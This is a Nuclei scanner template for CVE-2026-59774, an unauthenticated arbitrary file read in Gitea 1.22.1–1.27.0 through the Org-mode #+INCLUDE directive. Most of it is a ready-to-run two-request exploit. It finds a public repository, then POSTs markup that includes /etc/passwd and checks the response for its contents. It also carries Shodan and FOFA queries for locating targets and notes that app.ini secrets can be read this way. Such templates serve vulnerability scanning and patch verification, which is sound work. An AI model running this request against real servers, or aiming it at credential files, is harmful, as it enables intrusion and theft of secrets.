Gitea 1.22.1-1.27.0 - Unauthenticated Arbitrary File Read

id: CVE-2026-59774

info:
  name: Gitea 1.22.1-1.27.0 - Unauthenticated Arbitrary File Read
  author: ashish-cybersec
  severity: critical
  description: |
    Gitea versions 1.22.1 through 1.27.0 initialize the go-org markup renderer without replacing its default ReadFile callback. An unauthenticated attacker can submit Org-mode markup containing an #+INCLUDE directive with an absolute path to the repository markup endpoint of any public repository, causing the server to read and render arbitrary files accessible to the Gitea service user.
  impact: |
    Unauthenticated attackers can read arbitrary files readable by the Gitea service user, including app.ini which contains INTERNAL_TOKEN, OAuth and JWT material, and database credentials. The advisory notes this can be escalated to command execution via Git hook injection.
  remediation: |
    Update to Gitea version 1.27.1 or later.
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-6v53-hr58-556r
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-59774
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: go-gitea
    product: gitea
    shodan-query: http.title:"Gitea"
    fofa-query: title="Gitea"
  tags: cve,cve2026,gitea,lfi,traversal,markup

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/repos/search?limit=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"full_name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: reponame
        json:
          - '.data[0].full_name'
        internal: true

  - raw:
      - |
        POST /{{reponame}}/markup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mode=file&file_path=a.org&text=%23%2BINCLUDE%3A%20%22%2Fetc%2Fpasswd%22%20src%20shell

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "chroma language-bash"

      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: status
        status:
          - 200
# digest: 490a0046304402207952c0ad7804ce2b1f097b7793cceb70ee22f58c77c90e14ef7258f9246644b10220436b2bb491ced8525e677d0cc58f2cab8e2c6321c2c308461531f55b7e53c442:922c64590222798bb761d5b6d8e72950